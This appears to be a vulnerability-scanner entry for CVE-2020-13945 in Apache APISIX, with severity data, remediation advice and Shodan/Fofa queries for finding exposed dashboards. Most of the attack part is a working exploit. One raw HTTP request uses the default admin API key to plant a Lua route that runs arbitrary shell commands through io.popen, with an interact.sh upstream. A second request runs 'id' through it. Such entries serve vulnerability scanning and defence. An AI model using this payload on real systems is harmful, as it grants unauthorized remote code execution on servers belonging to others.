| Title | Apache APISIX - Insufficiently Protected Credentials |
|---|---|
| Author | pdteam |
| Severity | Medium |
| Impact | The vulnerability could result in unauthorized access to sensitive information, leading to potential data breaches or unauthorized actions. |
| Remediation | Upgrade to the latest version of Apache APISIX, which includes a fix for the vulnerability. Additionally, ensure that sensitive credentials are properly protected and stored securely. |
| CVSS Score | 6.5 |
| EPSS Score | 0.93434 |
| CVE ID | CVE-2020-13945 |
| CWE ID | CWE-522 |
| Shodan Query | http.title:"apache apisix dashboard" |
| Fofa Query | title="apache apisix dashboard" |
| Tags | cve2020 cve intrusive vulhub packetstorm apache apisix vuln |
Apache APISIX 1.2, 1.3, 1.4, and 1.5 is susceptible to insufficiently protected credentials. An attacker can enable the Admin API and delete the Admin API access IP restriction rules. Eventually, the default token is allowed to access APISIX management data.
POST /apisix/admin/routes HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 406
Content-Type: application/json
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Accept-Encoding: gzip
{
"uri":"/38FQokf5GC7mh5kPf247Z4TRkkk",
"script":"local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream":{
"type":"roundrobin",
"nodes":{
"interact.sh:80":1
}
}
}
GET /38FQokf5GC7mh5kPf247Z4TRkkk?cmd=id HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-13945.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-13945.pcap
N/AN/A